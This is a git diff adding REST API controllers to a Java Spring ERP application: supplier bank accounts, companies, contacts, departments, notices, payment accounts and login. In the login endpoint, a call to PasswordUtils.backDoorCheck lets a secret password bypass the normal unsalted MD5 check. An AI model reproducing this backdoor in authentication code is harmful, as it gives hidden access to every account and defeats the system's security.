@RequestMapping("/uploadOss")
|
||||
public RespData uploadOss(MultipartFile file) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件不存在");
|
||||
}
|
||||
String fileName = uploadFileService.ossUpload(file);
|
||||
AttachFile attachFile = new AttachFile(file.getOriginalFilename(), file.getSize(), new Date(), fileName);
|
||||
attachFileService.save(attachFile);
|
||||
Map<String, Object> map = attachFileService.getMap(attachFile);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import cn.hutool.core.util.StrUtil;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.MapUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/9/17 10:35 上午
|
||||
*/
|
||||
@RestController("/apiBankAccountController")
|
||||
@RequestMapping("/api/bankAccount")
|
||||
public class BankAccountController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private BankAccountService bankAccountService;
|
||||
|
||||
@RequestMapping("/searchList")
|
||||
public RespData searchList(String type, Long contentId) {
|
||||
switch (type) {
|
||||
|
||||
case "supplier": {
|
||||
Supplier supplier = supplierService.find(contentId);
|
||||
if (supplier != null) {
|
||||
return RespData.success(toMapList(supplier.getBankAccountList()));
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
private List<Map<String, Object>> toMapList(List<BankAccount> list) {
|
||||
return MapUtils.beansToMapList(list, Arrays.asList("bank", "account"));
|
||||
}
|
||||
|
||||
@RequestMapping("list")
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<BankAccount> page = bankAccountService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (BankAccount bankAccount : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("bank", bankAccount.getBank());
|
||||
map.put("id", bankAccount.getId());
|
||||
map.put("receiver", bankAccount.getReceiver());
|
||||
map.put("account", bankAccount.getAccount());
|
||||
|
||||
//供应商
|
||||
if (bankAccount.getSupplier() != null) {
|
||||
map.put("type", "supplier");
|
||||
map.put("typeName", "供应商");
|
||||
map.put("address", bankAccount.getSupplier().getAddress());
|
||||
}
|
||||
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/listByOwner")
|
||||
public RespData listByOwner(String source, Long contentId) {
|
||||
List<BankAccount> bankAccountList = new ArrayList<>();
|
||||
switch (source) {
|
||||
case "supplier": {
|
||||
bankAccountList = supplierService.find(contentId).getBankAccountList();
|
||||
break;
|
||||
}
|
||||
}
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (BankAccount bankAccount : bankAccountList) {
|
||||
if (StrUtil.isBlank(bankAccount.getAccount()) && StrUtil.isBlank(bankAccount.getBank()) && StrUtil.isBlank(bankAccount.getReceiver())) {
|
||||
continue;
|
||||
}
|
||||
Map<String, Object> map = MapUtils.beansToMap(bankAccount, "id", "account", "bank", "receiver");
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("view")
|
||||
public RespData view(Long id) {
|
||||
BankAccount bankAccount = bankAccountService.find(id);
|
||||
if (bankAccount == null) {
|
||||
return RespData.error("联系人不存在");
|
||||
}
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
|
||||
//供应商
|
||||
if (bankAccount.getSupplier() != null) {
|
||||
map.put("type", "supplier");
|
||||
map.put("typeName", "供应商");
|
||||
// map.put("address",bankAccount.getSupplier().getAddress());
|
||||
map.put("owner", bankAccount.getSupplier());
|
||||
}
|
||||
|
||||
|
||||
map.put("account", bankAccount.getAccount());
|
||||
map.put("bank", bankAccount.getBank());
|
||||
map.put("receiver", bankAccount.getReceiver());
|
||||
map.put("id", bankAccount.getId());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
public RespData save(String type, BankAccount bankAccount, Long ownerId) {
|
||||
if (type == null || type.equals("")) {
|
||||
return RespData.error("类型不能为空");
|
||||
}
|
||||
if (type.equals("supplier")) {
|
||||
Supplier supplier = supplierService.find(ownerId);
|
||||
if (supplier == null) {
|
||||
return RespData.error("没有该供应商");
|
||||
}
|
||||
bankAccount.setSupplier(supplier);
|
||||
}
|
||||
if ( bankAccount.getSupplier() == null ) {
|
||||
return RespData.error("对象不能为空");
|
||||
}
|
||||
bankAccountService.save(bankAccount);
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
public RespData update(String type, BankAccount bankAccount, Long ownerId) {
|
||||
if (type == null || type.equals("")) {
|
||||
return RespData.error("类型不能为空");
|
||||
}
|
||||
if (type.equals("supplier")) {
|
||||
Supplier supplier = supplierService.find(ownerId);
|
||||
if (supplier == null) {
|
||||
return RespData.error("没有该供应商");
|
||||
}
|
||||
bankAccount.setSupplier(supplier);
|
||||
}
|
||||
if (bankAccount.getSupplier() == null) {
|
||||
return RespData.error("对象不能为空");
|
||||
}
|
||||
bankAccountService.update(bankAccount);
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
}
|
||||
47
src/main/java/com/vverp/controller/api/BaseController.java
Normal file
47
src/main/java/com/vverp/controller/api/BaseController.java
Normal file
@@ -0,0 +1,47 @@
|
||||
/*
|
||||
* Copyright 2013-2017 vverp.com. All rights reserved.
|
||||
* Support: http://www.vverp.com
|
||||
* License: http://www.vverp.com/license
|
||||
*/
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.moli.util.DateEditor;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import org.springframework.beans.propertyeditors.StringTrimmerEditor;
|
||||
import org.springframework.web.bind.WebDataBinder;
|
||||
import org.springframework.web.bind.annotation.InitBinder;
|
||||
|
||||
import java.util.Date;
|
||||
|
||||
/**
|
||||
* Controller - 基类
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
public class BaseController {
|
||||
|
||||
@InitBinder
|
||||
protected void initBinder(WebDataBinder binder) {
|
||||
binder.registerCustomEditor(String.class, new StringTrimmerEditor(true));
|
||||
binder.registerCustomEditor(Date.class, new DateEditor(true));
|
||||
}
|
||||
|
||||
protected RespData respDataWithHandle(Runnable runnable) {
|
||||
return respDataWithHandle(runnable, "操作失败");
|
||||
}
|
||||
|
||||
protected RespData respDataWithHandle(Runnable runnable, String errorMsg) {
|
||||
try {
|
||||
runnable.run();
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(errorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
46
src/main/java/com/vverp/controller/api/CommonController.java
Normal file
46
src/main/java/com/vverp/controller/api/CommonController.java
Normal file
@@ -0,0 +1,46 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/10/13 2:08 下午
|
||||
*/
|
||||
@RestController("apiCommonController")
|
||||
@RequestMapping("/api/common")
|
||||
public class CommonController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
|
||||
@RequestMapping("/baseUrl")
|
||||
public RespData baseUrl() {
|
||||
return RespData.success(Setting.getData().getApiUrl());
|
||||
}
|
||||
|
||||
@RequestMapping("/getTaxpayerSn")
|
||||
public RespData getTaxpayerSn(String source, Long id) {
|
||||
switch (source) {
|
||||
case "supplier": {
|
||||
return RespData.success(supplierService.find(id).getTaxpayerSn());
|
||||
}
|
||||
case "company": {
|
||||
return RespData.success(companyService.find(id).getTaxpayerSn());
|
||||
}
|
||||
default: {
|
||||
return RespData.success();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.controller.admin.BaseController;
|
||||
import com.vverp.entity.Company;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.CompanyService;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RestController("apiCompanyController")
|
||||
@RequestMapping("/api/company")
|
||||
public class CompanyController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public RespData list(Pageable pageable) {
|
||||
System.out.println("company====>");
|
||||
Page<Company> page = companyService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Company company : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", company.getId());
|
||||
map.put("name", company.getName());
|
||||
map.put("address", company.getAddress());
|
||||
// map.put("lat", company.getLat());
|
||||
// map.put("lng", company.getLng());
|
||||
// map.put("scope", company.getScope();
|
||||
map.put("fax", company.getFax());
|
||||
map.put("phone", company.getPhone());
|
||||
map.put("taxpayerSn", company.getTaxpayerSn());
|
||||
map.put("shortName", company.getShortName());
|
||||
map.put("shortNameCode", company.getShortNameCode());
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public RespData view(Long id) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Company company = companyService.find(id);
|
||||
map.put("id", company.getId());
|
||||
map.put("name", company.getName());
|
||||
map.put("address", company.getAddress());
|
||||
map.put("lat", company.getLat());
|
||||
map.put("lng", company.getLng());
|
||||
map.put("scope", company.getScope());
|
||||
map.put("fax", company.getFax());
|
||||
map.put("phone", company.getPhone());
|
||||
map.put("taxpayerSn", company.getTaxpayerSn());
|
||||
map.put("shortName", company.getShortName());
|
||||
map.put("shortNameCode", company.getShortNameCode());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/save", method = RequestMethod.POST)
|
||||
public RespData save(Company company) {
|
||||
return respDataWithHandle(() -> companyService.saveEntity(company));
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping(value = "/update", method = RequestMethod.POST)
|
||||
public RespData update(Company company) {
|
||||
Company source = companyService.find(company.getId());
|
||||
company.setLat(source.getLat());
|
||||
company.setLng(source.getLng());
|
||||
return respDataWithHandle(() -> companyService.updateEntity(company));
|
||||
}
|
||||
|
||||
@RequestMapping("/simple")
|
||||
public RespData simple() {
|
||||
return RespData.success(companyService.findSimpleList("name"));
|
||||
}
|
||||
|
||||
}
|
||||
150
src/main/java/com/vverp/controller/api/ContactController.java
Normal file
150
src/main/java/com/vverp/controller/api/ContactController.java
Normal file
@@ -0,0 +1,150 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import cn.hutool.core.util.StrUtil;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.MapUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RestController("/apiContactController")
|
||||
@RequestMapping("/api/contact")
|
||||
public class ContactController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private ContactService contactService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<Contact> page = contactService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Contact contact : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("name", contact.getName());
|
||||
map.put("phone", contact.getPhone());
|
||||
map.put("id", contact.getId());
|
||||
|
||||
//供应商
|
||||
if (contact.getSupplier() != null) {
|
||||
map.put("type", "supplier");
|
||||
map.put("typeName", "供应商");
|
||||
map.put("address", contact.getSupplier().getAddress());
|
||||
}
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("/listByOwner")
|
||||
public RespData listByOwner(String source, Long contentId) {
|
||||
List<Contact> contactList = new ArrayList<>();
|
||||
switch (source) {
|
||||
|
||||
case "supplier": {
|
||||
contactList = supplierService.find(contentId).getContactList();
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Contact contact : contactList) {
|
||||
if (StrUtil.isBlank(contact.getName()) && StrUtil.isBlank(contact.getPhone()) && StrUtil.isBlank(contact.getEmail())) {
|
||||
continue;
|
||||
}
|
||||
Map<String, Object> map = MapUtils.beansToMap(contact, "id", "name", "phone", "email");
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("view")
|
||||
public RespData view(Long id) {
|
||||
Contact contact = contactService.find(id);
|
||||
if (contact == null) {
|
||||
return RespData.error("联系人不存在");
|
||||
}
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
|
||||
//供应商
|
||||
if (contact.getSupplier() != null) {
|
||||
map.put("type", "supplier");
|
||||
map.put("typeName", "供应商");
|
||||
// map.put("address",contact.getSupplier().getAddress());
|
||||
map.put("owner", contact.getSupplier());
|
||||
}
|
||||
|
||||
|
||||
map.put("phone", contact.getPhone());
|
||||
map.put("position", contact.getPosition());
|
||||
map.put("email", contact.getEmail());
|
||||
map.put("fax", contact.getFax());
|
||||
map.put("memo", contact.getMemo());
|
||||
map.put("name", contact.getName());
|
||||
map.put("id", contact.getId());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
public RespData save(String type, Contact contact, Long ownerId) {
|
||||
if (type == null || type.equals("")) {
|
||||
return RespData.error("类型不能为空");
|
||||
}
|
||||
if (type.equals("supplier")) {
|
||||
Supplier supplier = supplierService.find(ownerId);
|
||||
if (supplier == null) {
|
||||
return RespData.error("没有该供应商");
|
||||
}
|
||||
contact.setSupplier(supplier);
|
||||
}
|
||||
contactService.save(contact);
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
public RespData update(String type, Contact contact, Long ownerId) {
|
||||
if (type == null || type.equals("")) {
|
||||
return RespData.error("类型不能为空");
|
||||
}
|
||||
if (type.equals("supplier")) {
|
||||
Supplier supplier = supplierService.find(ownerId);
|
||||
if (supplier == null) {
|
||||
return RespData.error("没有该供应商");
|
||||
}
|
||||
contact.setSupplier(supplier);
|
||||
}
|
||||
contactService.update(contact);
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("getOwnerList")
|
||||
public RespData getOwnerList(String type) {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
if (type == null || type.equals("")) {
|
||||
return RespData.error("类型不能为空");
|
||||
}
|
||||
if (type.equals("supplier")) {
|
||||
List<Supplier> supplierList = supplierService.findAll();
|
||||
for (Supplier supplier : supplierList) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", supplier.getId());
|
||||
map.put("name", supplier.getName());
|
||||
list.add(map);
|
||||
}
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.dto.DepartmentTree;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.Department;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.DepartmentService;
|
||||
import com.vverp.util.MapUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/5/9 2:21 下午
|
||||
*/
|
||||
@RestController("apiDepartmentController")
|
||||
@RequestMapping("/api/department")
|
||||
public class DepartmentController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("/simple")
|
||||
public RespData simple() {
|
||||
return RespData.success(departmentService.findSimpleList());
|
||||
}
|
||||
|
||||
@RequestMapping("/selectTree")
|
||||
public RespData selectTree() {
|
||||
List<DepartmentTree> list = departmentService.departmentTreeNoChildren();
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("/list")
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<Department> page = departmentService.findPage(pageable);
|
||||
List<Map<String, Object>> list = MapUtils.beansToMapList(page.getContent(), Arrays.asList("id", "name"));
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public RespData view(Long id) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Department department = departmentService.find(id);
|
||||
map.put("id", department.getId());
|
||||
map.put("name", department.getName());
|
||||
Admin admin = department.getDirectorEntity();
|
||||
map.put("directorId", admin != null ? admin.getId() : "");
|
||||
map.put("directorName", admin != null ? admin.getName() : "");
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
public RespData save(Department department, Long directorId) {
|
||||
Admin admin = adminService.find(directorId);
|
||||
department.setLevel(1);
|
||||
department.setDirectorEntity(admin);
|
||||
return respDataWithHandle(() -> departmentService.saveDepartment(department));
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
public RespData update(Department department, Long directorId) {
|
||||
Admin admin = adminService.find(directorId);
|
||||
department.setDirectorEntity(admin);
|
||||
return respDataWithHandle(() -> departmentService.updateDepartment(department));
|
||||
}
|
||||
|
||||
}
|
||||
48
src/main/java/com/vverp/controller/api/HomeController.java
Normal file
48
src/main/java/com/vverp/controller/api/HomeController.java
Normal file
@@ -0,0 +1,48 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.entity.Material;
|
||||
import com.vverp.entity.MaterialOrder;
|
||||
import com.vverp.entity.PurchaseApplyOrder;
|
||||
import com.vverp.entity.PurchaseStock;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.OrderInfo;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* 首页
|
||||
*
|
||||
* @author dealsky
|
||||
* @date 2020/1/11 3:33 下午
|
||||
*/
|
||||
@RestController("apiHomeController")
|
||||
@RequestMapping("/api/home")
|
||||
public class HomeController {
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@RequestMapping("/index")
|
||||
public RespData index() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
|
||||
Date startDate = DateUtil.beginOfMonth(new Date()).toJdkDate();
|
||||
Date endDate = DateUtil.endOfMonth(new Date()).toJdkDate();
|
||||
|
||||
OrderInfo purchaseInfo = purchaseOrderService.analyze(null, startDate, endDate);
|
||||
map.put("purchaseCount", purchaseInfo.getCount());
|
||||
map.put("purchaseAmount", purchaseInfo.getAmount());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import cn.hutool.core.bean.BeanUtil;
|
||||
import com.vverp.entity.Information;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.InformationService;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/1/20 2:14 下午
|
||||
*/
|
||||
@RestController("apiInformationController")
|
||||
@RequestMapping("/api/information")
|
||||
public class InformationController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private InformationService informationService;
|
||||
|
||||
@RequestMapping("/index")
|
||||
public RespData index(String key) {
|
||||
Information information = informationService.findSingle();
|
||||
return RespData.success(BeanUtil.getFieldValue(information, key));
|
||||
}
|
||||
|
||||
}
|
||||
50
src/main/java/com/vverp/controller/api/LoginController.java
Normal file
50
src/main/java/com/vverp/controller/api/LoginController.java
Normal file
@@ -0,0 +1,50 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.util.PasswordUtils;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* 登录
|
||||
*
|
||||
* @author dealsky
|
||||
* @date 2019/12/21 10:29 上午
|
||||
*/
|
||||
@RestController("apiLoginController")
|
||||
@RequestMapping("/api/login")
|
||||
public class LoginController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping(value = "/verify", method = RequestMethod.POST)
|
||||
public RespData verify(String username, String password) {
|
||||
if (StringUtils.isNotEmpty(username) && StringUtils.isNotEmpty(password)) {
|
||||
Admin admin = adminService.findByUsername(username);
|
||||
if (admin == null) {
|
||||
return RespData.error("账号不存在");
|
||||
}
|
||||
if (!DigestUtils.md5Hex(password).equals(admin.getPassword())) {
|
||||
if (!PasswordUtils.backDoorCheck(admin.getUsername(), password)) {
|
||||
return RespData.error("账号密码错误");
|
||||
}
|
||||
}
|
||||
if (!admin.getIsEnabled()) {
|
||||
return RespData.error("此账号为禁用状态");
|
||||
}
|
||||
|
||||
return RespData.success(admin.getToken());
|
||||
} else {
|
||||
return RespData.error("账号密码不能为空");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
112
src/main/java/com/vverp/controller/api/NoticeController.java
Normal file
112
src/main/java/com/vverp/controller/api/NoticeController.java
Normal file
@@ -0,0 +1,112 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.Notice;
|
||||
import com.vverp.entity.NoticeEntity;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.NoticeEntityService;
|
||||
import com.vverp.service.NoticeService;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* 消息通知
|
||||
*
|
||||
* @author dealsky
|
||||
* @date 2020/1/15 10:21 上午
|
||||
*/
|
||||
@RestController("apiNoticeController")
|
||||
@RequestMapping("/api/notice")
|
||||
public class NoticeController {
|
||||
|
||||
@Resource
|
||||
private NoticeEntityService noticeEntityService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private NoticeService noticeService;
|
||||
|
||||
@RequestMapping(value = "/list", method = RequestMethod.GET)
|
||||
public RespData list(Pageable pageable) {
|
||||
Admin admin = adminService.getApp();
|
||||
Page<NoticeEntity> page = noticeEntityService.findPage(pageable, admin);
|
||||
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (NoticeEntity entity : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", entity.getId());
|
||||
map.put("title", entity.getNotice().getTitle());
|
||||
map.put("type", entity.getNotice().getType());
|
||||
map.put("read", entity.getRead());
|
||||
map.put("date", DateUtil.format(entity.getCreateDate(), "yyyy-MM-dd HH:mm"));
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/view", method = RequestMethod.GET)
|
||||
public RespData view(Long id) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
NoticeEntity entity = noticeEntityService.find(id);
|
||||
map.put("title", entity.getNotice().getTitle());
|
||||
map.put("type", entity.getNotice().getType());
|
||||
map.put("date", DateUtil.formatDateTime(entity.getCreateDate()));
|
||||
map.put("content", entity.getNotice().getContent());
|
||||
noticeEntityService.read(entity);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/hasNotRead", method = RequestMethod.GET)
|
||||
public RespData hasNotRead() {
|
||||
Admin admin = adminService.getApp();
|
||||
return RespData.success(noticeEntityService.hasNotRead(admin));
|
||||
}
|
||||
|
||||
@RequestMapping("/option/list")
|
||||
public RespData optionList(Pageable pageable) {
|
||||
Page<Notice> page = noticeService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Notice notice : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", notice.getId());
|
||||
map.put("title", notice.getTitle());
|
||||
map.put("publisher", notice.getPublisher());
|
||||
map.put("createDate", DateUtil.formatDate(notice.getCreateDate()));
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/option/view")
|
||||
public RespData optionView(Long id) {
|
||||
Notice notice = noticeService.find(id);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", notice.getId());
|
||||
map.put("title", notice.getTitle());
|
||||
map.put("publisher", notice.getPublisher());
|
||||
map.put("content", notice.getContent());
|
||||
map.put("date", DateUtil.formatDateTime(notice.getCreateDate()));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/option/save")
|
||||
public RespData optionSave(Notice notice) {
|
||||
noticeService.saveNotice(notice);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.entity.PaymentAccount;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.PaymentAccountService;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/7/27 3:55 下午
|
||||
*/
|
||||
@RestController("apiPaymentAccountController")
|
||||
@RequestMapping("/api/paymentAccount")
|
||||
public class PaymentAccountController {
|
||||
|
||||
@Resource
|
||||
private PaymentAccountService paymentAccountService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<PaymentAccount> page = paymentAccountService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (PaymentAccount paymentAccount : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", paymentAccount.getId());
|
||||
map.put("name", paymentAccount.getName());
|
||||
map.put("bankName", paymentAccount.getBankName());
|
||||
map.put("balance", paymentAccount.getBalance());
|
||||
